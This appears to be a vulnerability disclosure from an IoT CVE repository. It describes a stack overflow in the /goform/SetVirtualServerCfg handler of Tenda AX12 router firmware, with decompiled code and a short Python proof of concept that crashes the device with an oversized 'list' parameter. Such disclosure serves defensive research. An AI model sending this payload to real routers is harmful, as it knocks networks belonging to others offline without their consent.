

main IoT-CVE / Tenda / AX12 / 5 /



sec-bin Update poc ...

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Affect device: Tenda-AX12 V22.03.01.21\_CN(<https://www.tenda.com.cn/download/detail-3237.html>)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

## Vulnerability description

This vulnerability lies in the `/goform/SetVirtualServerCfg` page which influences the latest version of Tenda-AX12

V22.03.01.21\_CN(<https://www.tenda.com.cn/download/detail-3237.html>)

There is a stack overflow vulnerability in the `sub_42DE00` function.

First, this function calls the `sub_42DB88` function.

```

5  v3[0] = 0;
6  v3[1] = 0;
7  v3[2] = 0;
8  v3[3] = 0;
9  blob_buf_init((int)v3, 0);
10 sub_42DB88((int)a1, (int)v3);
11 tapi_set_virtualsrv(v3[0]);
12 blob_buf_free(v3);
13 sub_415368((int)a1, (int)"HTTP/1.0 200 OK\r\n\r\n");
14 sub_415368((int)a1, (int){\"errCode\":%d});
15 http_request(a1, 200);

```

In the sub\_42DB88 function:

```

19 v10[0] = 0;
20 v10[1] = 0;
21 v11[0] = 0;
22 v11[1] = 0;
23 v3 = WebGetVar(a1, (int)"list", "");
24 printf("get_route_info_wp list:%s\n", v3);
25 if ( (unsigned int)strlen(v3) < 5 )
26     return -1;
27 while ( 1 )
28 {
29     v4 = (_BYTE *)strchr(v3, '~');
30     v5 = v4 + 1;
31     if ( !v4 )
32         break;
33     *v4 = 0;
34     if ( sscanf(v3, "%[^,],%[^,],%[^,],%s", v12, v11, v10, v9) == 4 )
35     {
36         v8 = blob_nest_start(a2, 0);
37         printf(
38             "get_virtual_srv_wp net:%s dport:%s sport:%s proto:%s \n",
39             (const char *)v12,
40             (const char *)v11,

```

The v3 variable is obtained directly from the http request parameter list .

Then v3 will be splice to stack by function sscanf without any security check, which causes stack overflow.

So by POSTing the page /goform/SetVirtualServerCfg with long list , the attacker can easily perform a Denial of Service(DoS).

## POC

## Poc of Denial of Service(DoS):

```
import requests

url = "http://192.168.0.1/goform/SetVirtualServerCfg"
list_data = 'a'*0x1000 + '~'

r = requests.post(url, data={'list': list_data})
print(r.content)
```